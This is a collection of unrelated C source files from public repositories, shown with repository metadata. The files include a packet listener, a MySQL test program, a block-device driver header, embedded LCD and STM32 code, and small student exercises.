02cca76e67b3b73a8ca7ac37df3b9f4d36cb4e3f | 65877762bd3e61211249208099488593d7a72c94 | /remote file server/fs_crypt.h | 12c849d47886af17a5a31a5864ee1fd7a0869d0a | [] | no_license | Zeyu-Wang-MP/Kernel-course-project | cec3cf7fa5d051f816c7a52aa0db1dce2ca10c3d | 2bba240bde35489bb7d2c99c44fe183ab42360b8 | refs/heads/main | 2023-02-02T12:55:14.642541 | 2020-12-17T23:58:17 | 2020-12-17T23:58:17 | 313,821,819 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 1,635 | h | /*
* fs_crypt.h
*
* File server encryption routines.
*/
#ifndef _FS_CRYPT_H_
#define _FS_CRYPT_H_
/*
* Encrypt data using CLEAR or AES encryption, using the null-terminated string in
* password as the encryption key. The block of data to be encrypted is
* pointed to by buf_decrypt and is of size size_decrypt. fs_encrypt stores
* the encrypted data in buf_encrypt (which is allocated by the caller). The
* encrypted data is guaranteed to be no larger than 2 * size_decrypt + 64
* bytes. fs_encrypt returns the size of the encrypted data, or -1 upon failure.
* Encryption type defaults to CLEAR; to use AES encryption, set the FS_CRYPT
* environment variable to AES.
*
* fs_encrypt is thread safe.
*/
int fs_encrypt(const char* password, const void* buf_decrypt,
const unsigned int size_decrypt, void* buf_encrypt);
/*
* Decrypt data using CLEAR or AES encryption, using the null-terminated string in
* password as the decryption key. The block of data to be decrypted is
* pointed to by buf_encrypt and is of size size_encrypt. fs_decrypt
* stores the decrypted data in buf_decrypt (which is allocated by the caller).
* The decrypted data is guaranteed to be no larger than the encrypted
* data. fs_decrypt returns the size of the decrypted data, or -1 upon failure.
* Encryption type defaults to CLEAR; to use AES encryption, set the FS_CRYPT
* environment variable to AES.
*
* fs_decrypt is thread safe.
*/
int fs_decrypt(const char* password, const void* buf_encrypt,
const unsigned int size_encrypt, void* buf_decrypt);
#endif /* _FS_CRYPT_H_ */
| [
"zywang@umich.edu"
] | zywang@umich.edu |
595ee031c2ed02c661bb12ab075400e4438002f5 | c05751072840e68fe3347e183cf8074fd62f1ff1 | /receivepackets.c | 936c95dab551b3a6c05f9a3f51f961ff83aef7c4 | [] | no_license | gmaxim10/maximhelloapp | 995a161affe8e37a29e80e202c695eb9e75ddb52 | d0d0633ce6bd65e0b9f332f10711456a945cbb0d | refs/heads/master | 2020-03-26T17:09:18.806406 | 2018-09-03T06:57:42 | 2018-09-03T06:57:42 | 145,144,559 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 4,464 | c | /*This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*/
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/ether.h>
#define DEST_MAC0 0x8C
#define DEST_MAC1 0xEC
#define DEST_MAC2 0x4B
#define DEST_MAC3 0x61
#define DEST_MAC4 0xDF
#define DEST_MAC5 0x0D
#define ETHER_TYPE 0x0800
#define DEFAULT_IF "enp0s31f6"
#define BUF_SIZ 1024
int main(int argc, char *argv[])
{
char sender[INET6_ADDRSTRLEN];
int sockfd, ret, i;
int sockopt;
ssize_t numbytes;
struct ifreq ifopts; /* set promiscuous mode */
struct ifreq if_ip; /* get ip addr */
struct sockaddr_storage their_addr;
uint8_t buf[BUF_SIZ];
char ifName[IFNAMSIZ];
/* Get interface name */
if (argc > 1)
strcpy(ifName, argv[1]);
else
strcpy(ifName, DEFAULT_IF);
/* Header structures */
struct ether_header *eh = (struct ether_header *) buf;
struct iphdr *iph = (struct iphdr *) (buf + sizeof(struct ether_header));
struct udphdr *udph = (struct udphdr *) (buf + sizeof(struct iphdr) + sizeof(struct ether_header));
memset(&if_ip, 0, sizeof(struct ifreq));
/* Open PF_PACKET socket, listening for EtherType ETHER_TYPE */
if ((sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETHER_TYPE))) == -1) {
perror("listener: socket");
return -1;
}
/* Set interface to promiscuous mode - do we need to do this every time? */
strncpy(ifopts.ifr_name, ifName, IFNAMSIZ-1);
ioctl(sockfd, SIOCGIFFLAGS, &ifopts);
ifopts.ifr_flags |= IFF_PROMISC;
ioctl(sockfd, SIOCSIFFLAGS, &ifopts);
/* Allow the socket to be reused - incase connection is closed prematurely */
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &sockopt, sizeof sockopt) == -1) {
perror("setsockopt");
close(sockfd);
exit(EXIT_FAILURE);
}
/* Bind to device */
if (setsockopt(sockfd, SOL_SOCKET, SO_BINDTODEVICE, ifName, IFNAMSIZ-1) == -1) {
perror("SO_BINDTODEVICE");
close(sockfd);
exit(EXIT_FAILURE);
}
repeat: printf("listener: Waiting to recvfrom...\n");
numbytes = recvfrom(sockfd, buf, BUF_SIZ, 0, NULL, NULL);
// printf("listener: got packet %lu bytes\n", numbytes);
/* Check the packet is for me */
if (numbytes == 98 && eh->ether_dhost[0] == DEST_MAC0 &&
eh->ether_dhost[1] == DEST_MAC1 &&
eh->ether_dhost[2] == DEST_MAC2 &&
eh->ether_dhost[3] == DEST_MAC3 &&
eh->ether_dhost[4] == DEST_MAC4 &&
eh->ether_dhost[5] == DEST_MAC5)
{
printf("MAC RECIEVED: %x:%x:%x:%x:%x:%x\n",
eh->ether_shost[0],
eh->ether_shost[1],
eh->ether_shost[2],
eh->ether_shost[3],
eh->ether_shost[4],
eh->ether_shost[5]);
printf("Correct destination MAC address\n");
} else {
if (1)
{
ret = -1;
goto done;
}
printf("Wrong destination MAC: %x:%x:%x:%x:%x:%x\n",
eh->ether_dhost[0],
eh->ether_dhost[1],
eh->ether_dhost[2],
eh->ether_dhost[3],
eh->ether_dhost[4],
eh->ether_dhost[5]);
ret = -1;
goto done;
}
/* Get source IP */
((struct sockaddr_in *)&their_addr)->sin_addr.s_addr = iph->saddr;
inet_ntop(AF_INET, &((struct sockaddr_in*)&their_addr)->sin_addr, sender, sizeof sender);
/* Look up my device IP addr if possible */
strncpy(if_ip.ifr_name, ifName, IFNAMSIZ-1);
if (ioctl(sockfd, SIOCGIFADDR, &if_ip) >= 0) { /* if we can't check then don't */
printf("Source IP: %s\n My IP: %s\n", sender,
inet_ntoa(((struct sockaddr_in *)&if_ip.ifr_addr)->sin_addr));
/* ignore if I sent it */
if (strcmp(sender, inet_ntoa(((struct sockaddr_in *)&if_ip.ifr_addr)->sin_addr)) == 0) {
printf("but I sent it :(\n");
ret = -1;
goto done;
}
}
//superuser.com/questions/517841/filter-icmp-packets-sent-from-my-ip-address-in-wireshark-with-the-packet-filterf (numbytes
/* UDP payload length */
ret = ntohs(udph->len) - sizeof(struct udphdr);
/* Print packet */
printf("\tData:");
for (i=0; i<numbytes; i++) printf("%02x:", buf[i]);
printf("\n");
done: goto repeat;
close(sockfd);
return ret;
}
| [
"maxim.geifman@osrenterprises.com"
] | maxim.geifman@osrenterprises.com |
5ef841e077421f35a175412c5dc39e7f51dec310 | 8121b623f1dff002a7cc38ef4333f73cd6a7daf2 | /02/print_bits.c | 57845275ae5a7ee03675484668edab328db21541 | [] | no_license | moonlightcrystal/exam | 1120ff60ec9cd77b9b8339d6452280c9e1edc386 | 62d9a27d15d2f87f2bfbb26f50bfbfa350f29319 | refs/heads/master | 2020-07-03T05:23:18.717703 | 2019-08-22T20:06:18 | 2019-08-22T20:06:18 | 201,798,390 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 1,036 | c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* print_bits.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: kcorie <marvin@42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/08/12 17:58:00 by kcorie #+# #+# */
/* Updated: 2019/08/12 18:02:32 by kcorie ### ########.fr */
/* */
/* ************************************************************************** */
#include <unistd.h>
void print_bits(unsigned char octet)
{
int len;
len = 8;
while(len--)
write(1, (octet >> len) & 1 ? "1" : "0", 1);
}
| [
"weloveyoucris7@gmail.com"
] | weloveyoucris7@gmail.com |
68a43263f63ea762ea5a54760baf35d30d4bf7cc | 668bfe8110d134f7c8b5455039c8ba7aef142953 | /testdb.c | ff8158c919ba6df73c919816202dbc1b89fbf687 | [] | no_license | rcampos18/LabComu | 5b18b2514d6b8a9cb039db7c12dd45b89e043b43 | cc3fe015ac7fbd33076dfc9f186013dc715e3153 | refs/heads/master | 2021-04-26T23:29:01.919332 | 2018-06-20T14:46:48 | 2018-06-20T14:46:48 | 124,003,384 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 2,192 | c | //gcc testdb.c -o testdb `mysql_config --cflags --libs`
//./testdb
#include <my_global.h>
#include <mysql.h>
void finish_with_error(MYSQL *con)
{
fprintf(stderr, "%s\n", mysql_error(con));
mysql_close(con);
exit(1);
}
int main(int argc, char **argv)
{
MYSQL *con = mysql_init(NULL);
if (con == NULL)
{
fprintf(stderr, "%s\n", mysql_error(con));
exit(1);
}
if (mysql_real_connect(con, "localhost", "root", "7855",
NULL, 0, NULL, 0) == NULL)
{
fprintf(stderr, "%s\n", mysql_error(con));
mysql_close(con);
exit(1);
}
if (mysql_query(con, "DROP DATABASE testdb"))
{
fprintf(stderr, "%s\n", mysql_error(con));
mysql_close(con);
exit(1);
}
if (mysql_query(con, "CREATE DATABASE testdb"))
{
fprintf(stderr, "%s\n", mysql_error(con));
mysql_close(con);
exit(1);
}
if (mysql_query(con, "USE testdb"))
{
fprintf(stderr, "%s\n", mysql_error(con));
mysql_close(con);
exit(1);
}
if (mysql_query(con, "DROP TABLE IF EXISTS ClientS")) {
finish_with_error(con);
}
if (mysql_query(con, "CREATE TABLE ClientS( Name TEXT, Saldo INT)")) {
finish_with_error(con);
}
int saldoC = 300;
char nameC[255] = "ClientC";
char query1[999];
int num = sprintf(query1, "INSERT INTO ClientS(Name, Saldo) VALUES('%s', '%d');", nameC, saldoC);
if (num > sizeof(query1))
{
printf("Error: Query too long.\n");
exit (1);
}
if (mysql_query(con, query1))
{
printf("Error: mysql_query failed.");
exit (1);
}
if (mysql_query(con, "SELECT * FROM ClientS")) {
finish_with_error(con);
}
MYSQL_RES *result = mysql_store_result(con);
if (result == NULL)
{
finish_with_error(con);
}
int num_fields = mysql_num_fields(result);
MYSQL_ROW row;
while ((row = mysql_fetch_row(result)))
{
for(int i = 0; i < num_fields; i++)
{
printf("%s ", row[i] ? row[i] : "NULL");
}
int saldo = atoi(row[1]);
printf(" El saldo de su cuenta es : %d \n",saldo);
}
mysql_free_result(result);
mysql_close(con);
exit(0);
}
| [
"noreply@github.com"
] | rcampos18.noreply@github.com |
3801d99cfdb92441fe24e0e3d15d17853950ff82 | 1251275156459eecc936e336d1a1b2b1ba817f97 | /vmem_disk_driver.h | b13109ddca49b2b56d57679b9ca3bc29fd0ab138 | [] | no_license | jefby/LDD | c3da237ee798d3f2e3e27ab0284eecd0a5b61ed2 | e2873944bca82383612386e6c93fee8b12e29948 | refs/heads/master | 2016-09-06T05:28:11.136695 | 2013-08-20T12:16:45 | 2013-08-20T12:16:45 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 3,154 | h | /*
*
* Author:jefby
* Email:jef199006@gmail.com
*
*
*
*
*
*
*
*
*
*/
#include <linux/init.h> // for module_init or module_exit
#include <linux/module.h> // for MODULE_LICENSE,module_param
#include <linux/errno.h>//like errno.h
#include <linux/fs.h> //register_blkdev or block_device_operations
#include <linux/genhd.h> // gendisk
#include <linux/blkdev.h>//blk_init_queue or elv_next_request or end_request
#include <linux/bio.h> //struct bio or bio_data_dir or __bio_kunmap_atomic
#include <linux/spinlock.h> //spin_lock_init or spin_lock_t
#include <linux/timer.h>//timer_list
#include <linux/hdreg.h>//hd_geometry
typedef struct request_queue request_queue_t;
#define INVALIDATE_DELAY 30*HZ
#define KERNEL_SECTOR_SIZE 512
#define vmem_disk_MINORS 1
/*
*能使用的不同request模式
*/
enum{
RM_SIMPLE = 0,/*简单请求函数*/
RM_FULL = 1,//复杂的请求函数
RM_NOQUEUE = 2//使用make_request,不使用请求队列
};
struct vmem_disk_dev{
unsigned char * data;//数据
int size;//以扇区为单位。设备大小
short users;//用户数目
short media_change;//介质改变状态
spinlock_t lock;//用于互斥
struct request_queue * queue;//设备请求队列
struct gendisk *gd;//gendisk 结构,表示独立的磁盘设备或者分区
struct timer_list timer;//用来模拟设备介质改变
};
void setup_device(struct vmem_disk_dev * dev,int which);
//invalidate()在定时器到期时执行，设置一个标志来模拟磁盘的移除
void vmem_disk_invalidate(unsigned long ldev);
//获得驱动器信息
static int vmem_disk_getgeo(struct block_device *bdev,struct hd_geometry *geo);
static int vmem_disk_open(struct block_device *bdev,fmode_t mode);
static int vmem_disk_release(struct gendisk *disk,fmode_t mode);
static int vmem_disk_media_changed(struct gendisk *disk);
static int vmem_disk_revalidate(struct gendisk *disk);
//处理一个I/O request
////数据移动,req->sector：开始扇区的索引号,req->current_nr_sectors:需要传输的扇区数 buffer:要传输或者要接收数据的缓冲区指针
//该指针在内核虚拟地址中，如果有需要，内核可以直接引用它 req_data_dir:这个宏从request中得到传输的方向，0表示从设备读，非零表示
//向设备写数据
static void vmem_disk_transfer(struct vmem_disk_dev *dev,unsigned long sector,unsigned long nsect,char *buffer,int write);
//request函数的简单实现，一次一条
static void vmem_disk_request(struct request_queue *q);
/*传输一个单独的BIO*/
static int vmem_disk_xfer_bio(struct vmem_disk_dev *dev,struct bio *bio);
/*
* 传输一个完整的request
* 返回传输的扇区数
*/
static int vmem_disk_xfer_request(struct vmem_disk_dev *dev,struct request *req);
/*
*更强大的request
*/
static void vmem_disk_full_request(struct request_queue *q);
/*
* 功能:制造请求方式,用于无队列模式，从块设备层中直接接受请求
* 直接进行传输或者把请求重定向给其他设备
* @q:请求队列
* @bio:要被传输一个或者多个缓冲区
*/
static int vmem_disk_make_request(struct request_queue *q,struct bio *bio);
| [
"jef199006@gmail.com"
] | jef199006@gmail.com |
ee6feff0c0e6a96e8eb497cb8c06ea293914b7e5 | 5b0ef3e872f5aca8b430e34ebca9c1a4ae3d63fe | /older/Game_ofDivisors.c | 3a526d52029115d29918fb4317cd86b73e676e61 | [] | no_license | venkatesh551/CodeChef | 826d27989029770b8db77c235e0d5de001aaf83c | ae20d15dd35ae530d35732f113e9f7f0c7142542 | refs/heads/master | 2021-01-23T21:35:36.918692 | 2015-07-14T04:42:46 | 2015-07-14T04:42:46 | 34,179,633 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 201 | c | #include <stdio.h>
int main(void)
{
int T;
scanf("%d", &T);
while (T--)
{
int n;
scanf("%d", &n);
if (n & 1)
{
puts("Tom");
}
else
{
puts("Mike");
}
}
return 0;
}
| [
"p.venkatesh551@gmail.com"
] | p.venkatesh551@gmail.com |
2dc67643d6d19f6d37fff647482184c1c107c296 | 4d24f7df4c1a844f4b15c969ecfd33a60bc116e0 | /test/test_ft_isalpha.c | 569a07249983e5f6fc45cb696c99c3acb479c0de | [
"MIT"
] | permissive | Mitsu325/libft | 453e1b1076a5fdf632ea3e985084e64aa8914976 | a3cd12218772fd766d96abd8c0ecb47e84216f11 | refs/heads/main | 2023-03-05T16:42:48.990881 | 2021-02-21T00:05:52 | 2021-02-21T00:05:52 | 338,449,145 | 4 | 1 | null | null | null | null | UTF-8 | C | false | false | 533 | c |
#include <ctype.h>
#include <stdio.h>
#include "libft.h"
int main(void)
{
int ret1;
int ret2;
ret1 = isalpha(32);
printf("lib >> %d \n", ret1);
ret2 = ft_isalpha(32);
printf("ft >> %d \n", ret2);
printf("================\n");
ret1 = isalpha(65);
printf("lib >> %d \n", ret1);
ret2 = ft_isalpha(65);
printf("ft >> %d \n", ret2);
printf("================\n");
ret1 = isalpha(97);
printf("lib >> %d \n", ret1);
ret2 = ft_isalpha(97);
printf("ft >> %d \n", ret2);
printf("================\n");
return (0);
}
| [
"patricia.mashiba@gmail.com"
] | patricia.mashiba@gmail.com |
e01170390e38878d0b4f74acfd112af025ea253e | c52728310a11dd935bbf59926868e8b1dcdb271c | /yuanma/1602.c | 4f0e4b80a7e3fc4fa45f362bf3d7e2084949dab9 | [] | no_license | li-car-fei/wenshidu | 1b68eb2fa6069b81d5940482326fd36458071859 | f3c04388699b3c608d0de89805a7a3aca8fc251c | refs/heads/master | 2020-08-12T11:25:47.755688 | 2019-10-13T04:17:06 | 2019-10-13T04:17:06 | 214,758,762 | 2 | 0 | null | null | null | null | GB18030 | C | false | false | 4,344 | c | /********************************************************************
* 文件名 ： 液晶1602显示.c
* 描述 : 该程序实现了对液晶1602的控制。
***********************************************************************/
#include "1602.h"
#include "math.h"
/********************************************************************
* 名称 : delay()
* 功能 : 延时,延时时间大概为140US。
* 输入 : 无
* 输出 : 无
***********************************************************************/
void delay()
{
int i,j;
for(i=0; i<=10; i++)
for(j=0; j<=2; j++)
;
}
/********************************************************************
* 名称 : Convert(uchar In_Date)
* 功能 : 因为电路设计时，P0.0--P0.7接法刚好了资料中的相反，所以设计该函数。
* 输入 : 1602资料上的值
* 输出 : 送到1602的值
***********************************************************************/
uchar Convert(uchar In_Date)
{
/*
uchar i, Out_Date = 0, temp = 0;
for(i=0; i<8; i++)
{
temp = (In_Date >> i) & 0x01;
Out_Date |= (temp << (7 - i));
}
return Out_Date;
*/
return In_Date;
}
/********************************************************************
* 名称 : enable(uchar del)
* 功能 : 1602命令函数
* 输入 : 输入的命令值
* 输出 : 无
***********************************************************************/
void enable(uchar del)
{
RS = 0;
RW = 0;
P0 = Convert(del);
E = 1;
delay();
E = 0;
delay();
}
/********************************************************************
* 名称 : write(uchar del)
* 功能 : 1602写数据函数
* 输入 : 需要写入1602的数据
* 输出 : 无
***********************************************************************/
void write(uchar del)
{
RS = 1;
RW = 0;
P0 = Convert(del);
E = 1;
delay();
E = 0;
delay();
}
/********************************************************************
* 名称 : L1602_init()
* 功能 : 1602初始化，请参考1602的资料
* 输入 : 无
* 输出 : 无
***********************************************************************/
void L1602_init(void)
{
enable(0x38);
enable(0x0c);
enable(0x06);
enable(0x01);
enable(0xd0);
}
/********************************************************************
* 名称 : L1602_char(uchar hang,uchar lie,char sign)
* 功能 : 改变液晶中某位的值，如果要让第一行，第五个字符显示"b" ，调用该函数如下
L1602_char(1,5,'b')
* 输入 : 行，列，需要输入1602的数据
* 输出 : 无
***********************************************************************/
void L1602_char(uchar hang,uchar lie,char sign)
{
uchar a;
if(hang == 1) a = 0x80;
if(hang == 2) a = 0xc0;
a = a + lie - 1;
enable(a);
write(sign);
}
/********************************************************************
* 名称 : L1602_string(uchar hang,uchar lie,uchar *p)
* 功能 : 改变液晶中某位的值，如果要让第一行，第五个字符开始显示"ab cd ef" ，调用该函数如下
L1602_string(1,5,"ab cd ef;")
* 输入 : 行，列，需要输入1602的数据
* 输出 : 无
***********************************************************************/
void L1602_string(uchar hang,uchar lie,uchar *p)
{
uchar a;
if(hang == 1) a = 0x80;
if(hang == 2) a = 0xc0;
a = a + lie - 1;
enable(a);
while(1)
{
if(*p == '\0') break;
write(*p);
p++;
}
}
//显示整型的温湿度数据用，共占用4位，其中一位符号位
void L1602_int(uchar hang, uchar lie, int num)
{
uint temp;
uint gewei,shiwei,baiwei,sign;
if (num >= 0)
{
sign = 0;
}
else
{
sign = 1;
}
temp = abs(num);
baiwei = temp / 100;
temp = temp - baiwei*100;
shiwei = temp / 10;
gewei = temp - shiwei*10;
num = abs(num);
if (num>=100)
{
if (sign == 1) //负数
{
L1602_char(hang, lie, '-');
}
L1602_char(hang, lie+1, baiwei+48);
L1602_char(hang, lie+2, shiwei+48);
L1602_char(hang, lie+3, gewei+48);
}
else if (num>=10)
{
if (sign == 1)
{
L1602_char(hang, lie+1, '-');
}
L1602_char(hang, lie+2, shiwei+48);
L1602_char(hang, lie+3, gewei+48);
}
else
{
if (sign == 1)
{
L1602_char(hang, lie+2, '-');
}
L1602_char(hang, lie+3, gewei+48);
}
} | [
"1073490398@qq.com"
] | 1073490398@qq.com |
0d9dd0db5d81395fb313579b664670fd2c05a19f | 075ba532caa1e447fdef53b40906727801d82683 | /RtosDemo2/source/main.c | 71090c3e1cfc852303e04f0c01c075c4a96d0b73 | [] | no_license | opprud/kinteis | c88a6f7d8c8cd397f3e10fbccc049088c22a0d4a | 200f7ca5ca85c718937025bc48e5f5c217386ce2 | refs/heads/master | 2021-01-10T05:54:22.901052 | 2016-03-02T08:07:24 | 2016-03-02T08:07:24 | 52,945,210 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 4,280 | c | /*
* Copyright (c) 2013 - 2016, Freescale Semiconductor, Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* o Redistributions of source code must retain the above copyright notice, this list
* of conditions and the following disclaimer.
*
* o Redistributions in binary form must reproduce the above copyright notice, this
* list of conditions and the following disclaimer in the documentation and/or
* other materials provided with the distribution.
*
* o Neither the name of Freescale Semiconductor, Inc. nor the names of its
* contributors may be used to endorse or promote products derived from this
* software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/**
* This is template for main module created by New Kinetis SDK 2.x Project Wizard. Enjoy!
**/
#include <string.h>
#include "board.h"
#include "pin_mux.h"
#include "clock_config.h"
#include "fsl_debug_console.h"
#include "adc_task.h"
/* FreeRTOS kernel includes. */
#include "FreeRTOS.h"
#include "task.h"
#include "queue.h"
#include "timers.h"
/* Task priorities. */
#define hello_task_PRIORITY (configMAX_PRIORITIES - 2)
#define adc_task_PRIORITY (configMAX_PRIORITIES - 1)
#define network_task_PRIORITY (configMAX_PRIORITIES - 3)
/*!
* @brief Task responsible for printing of "Hello world." message.
*/
static void network_task(void *pvParameters)
{
unsigned short *samplPtr;
unsigned short txBuff[NO_SAMPLES];
int rxVal;
// LED_GREEN_INIT(1);
PRINTF("network task waiting for samples from ADC");
for (;;)
{
if(xQueueReceive(sampleQhdl, &rxVal, 10000))
// if(xQueueReceive(sampleQhdl, *samplPtr, 10000))
{
// PRINTF("Got pointer from Q %d", rxVal);
memcpy(&txBuff,rxVal,NO_SAMPLES);
PRINTF("Got pointer from Q ");
}
else
{
PRINTF("Timeout");
}
}
}
/*!
* @brief Task responsible for printing of "Hello world." message.
*/
static void hello_task(void *pvParameters)
{
for (;;)
{
LED_BLUE_ON();
vTaskDelay(200);
LED_BLUE_OFF();
vTaskDelay(350);
// PRINTF("Hello world.\r\n");
PRINTF(".");
/* Add your code here */
//vTaskSuspend(NULL);
}
}
/*!
* @brief Application entry point.
*/
int main(void)
{
/* Init board hardware. */
BOARD_InitPins();
BOARD_BootClockRUN();
BOARD_InitDebugConsole();
#if 0
/*** RTOS stuff ***/
/* We are using the semaphore for synchronisation so we create a binary
semaphore rather than a mutex.
We must make sure that the interrupt
does not attempt to use the semaphore before it is created! */
xSemaphore = xSemaphoreCreateBinary();
/* queue for passing pointers to the sample array */
sampleQhdl = xQueueCreate(10, sizeof(unsigned short *));
/* setup ADC*/
adc_init(DEMO_ADC16_USER_CHANNEL);
/* and trigger timer */
init_trigger_source(1);
/* semaphore from ISR signaling sample buffer full */
if (xSemaphore == NULL)
{
PRINTF("Error creating semaphore\r\n");
vTaskSuspend(NULL);
}
#endif
/* Create RTOS task */
xTaskCreate(hello_task, "Hello_task", configMINIMAL_STACK_SIZE, NULL, hello_task_PRIORITY, NULL);
xTaskCreate(adc_task, "ADC_task", 512, NULL, adc_task_PRIORITY, NULL);
xTaskCreate(network_task, "Network_task", 1024, NULL, hello_task_PRIORITY, NULL);
vTaskStartScheduler();
for (;;)
{ /* Infinite loop to avoid leaving the main function */
__asm("NOP");
/* something to use as a breakpoint stop while looping */
}
}
| [
"mortenopprudjakobsen@mortens-MacBook-Pro.local"
] | mortenopprudjakobsen@mortens-MacBook-Pro.local |
1d3e56cb779cda81a3d25544b3470ded0b87e254 | 38c0ef1759dc9a9b715589ea632dd1ac6b64d598 | /Projects/STM32H735G-DK/Examples/DTS/DTS_GetTemperature/Src/stm32h7xx_it.c | d2503334bc874dd14c1492f96fbded87ef4a1d1a | [
"Apache-2.0",
"BSD-3-Clause"
] | permissive | engycz/STM32CubeH7 | 9fb379f88d80ca8813557c9ab4e9f83dd7a97bf5 | 91dd6590d8904651ac01380dd1adaf0b2e8a3068 | refs/heads/master | 2021-11-26T04:15:14.720718 | 2021-11-18T14:07:06 | 2021-11-18T14:11:23 | 235,042,695 | 0 | 0 | NOASSERTION | 2020-01-20T07:27:10 | 2020-01-20T07:27:09 | null | UTF-8 | C | false | false | 4,004 | c | /**
******************************************************************************
* @file DTS/DTS_GetTemperature/Src/stm32h7xx_it.c
* @author MCD Application Team
* @brief Main Interrupt Service Routines for Cortex-M7.
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2019 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
******************************************************************************
*/
/* Includes ------------------------------------------------------------------*/
#include "main.h"
#include "stm32h7xx_it.h"
/** @addtogroup STM32H7xx_HAL_Examples
* @{
*/
/** @addtogroup DTS_GetTemperature
* @{
*/
/* Private typedef -----------------------------------------------------------*/
/* Private define ------------------------------------------------------------*/
/* Private macro -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private function prototypes -----------------------------------------------*/
/* Private functions ---------------------------------------------------------*/
/******************************************************************************/
/* Cortex-M7 Processor Exceptions Handlers */
/******************************************************************************/
/**
* @brief This function handles NMI exception.
* @param None
* @retval None
*/
void NMI_Handler(void)
{
}
/**
* @brief This function handles Hard Fault exception.
* @param None
* @retval None
*/
void HardFault_Handler(void)
{
/* Go to infinite loop when Hard Fault exception occurs */
while (1)
{
}
}
/**
* @brief This function handles Memory Manage exception.
* @param None
* @retval None
*/
void MemManage_Handler(void)
{
/* Go to infinite loop when Memory Manage exception occurs */
while (1)
{
}
}
/**
* @brief This function handles Bus Fault exception.
* @param None
* @retval None
*/
void BusFault_Handler(void)
{
/* Go to infinite loop when Bus Fault exception occurs */
while (1)
{
}
}
/**
* @brief This function handles Usage Fault exception.
* @param None
* @retval None
*/
void UsageFault_Handler(void)
{
/* Go to infinite loop when Usage Fault exception occurs */
while (1)
{
}
}
/**
* @brief This function handles SVCall exception.
* @param None
* @retval None
*/
void SVC_Handler(void)
{
}
/**
* @brief This function handles Debug Monitor exception.
* @param None
* @retval None
*/
void DebugMon_Handler(void)
{
}
/**
* @brief This function handles PendSVC exception.
* @param None
* @retval None
*/
void PendSV_Handler(void)
{
}
/**
* @brief This function handles SysTick Handler.
* @param None
* @retval None
*/
void SysTick_Handler(void)
{
HAL_IncTick();
}
/******************************************************************************/
/* STM32H7xx Peripherals Interrupt Handlers */
/* Add here the Interrupt Handler for the used peripheral(s) (PPP), for the */
/* available peripheral interrupt handler's name please refer to the startup */
/* file (startup_stm32h7xx.s). */
/******************************************************************************/
/**
* @brief This function handles PPP interrupt request.
* @param None
* @retval None
*/
/*void PPP_IRQHandler(void)
{
}*/
/**
* @}
*/
/**
* @}
*/
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
| [
"ali.labbene@st.com"
] | ali.labbene@st.com |
9ae91639afa220811ac7386a790d990abfd7d928 | 531aaa11903accbc2a0529226292babd44646f1e | /dist/mac/stdlib_pegs.nim.c | c4e2eebbee30f27abe0e6333df2924bf5872ddb8 | [
"MIT"
] | permissive | abanoub-nasser/faster-than-requests | bd8afce19507f0470a67cbe55a8925d4699c5b97 | b8541578c5492830ea3ffed1424bdf86178d2df6 | refs/heads/master | 2022-12-24T02:37:07.610623 | 2020-09-28T15:38:15 | 2020-09-28T15:38:15 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 238,872 | c | /* Generated by Nim Compiler v1.3.5 */
/* (c) 2020 Andreas Rumpf */
/* The generated code is subject to the original license. */
#define NIM_INTBITS 64
/* section: NIM_merge_HEADERS */
#include "nimbase.h"
#include <string.h>
#undef LANGUAGE_C
#undef MIPSEB
#undef MIPSEL
#undef PPC
#undef R3000
#undef R4000
#undef i386
#undef linux
#undef mips
#undef near
#undef far
#undef powerpc
#undef unix
/* section: NIM_merge_FRAME_DEFINES */
#define nimfr_(x, y)
#define nimln_(x, y)
/* section: NIM_merge_FORWARD_TYPES */
typedef struct NimStringDesc NimStringDesc;
typedef struct TGenericSeq TGenericSeq;
typedef struct tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ;
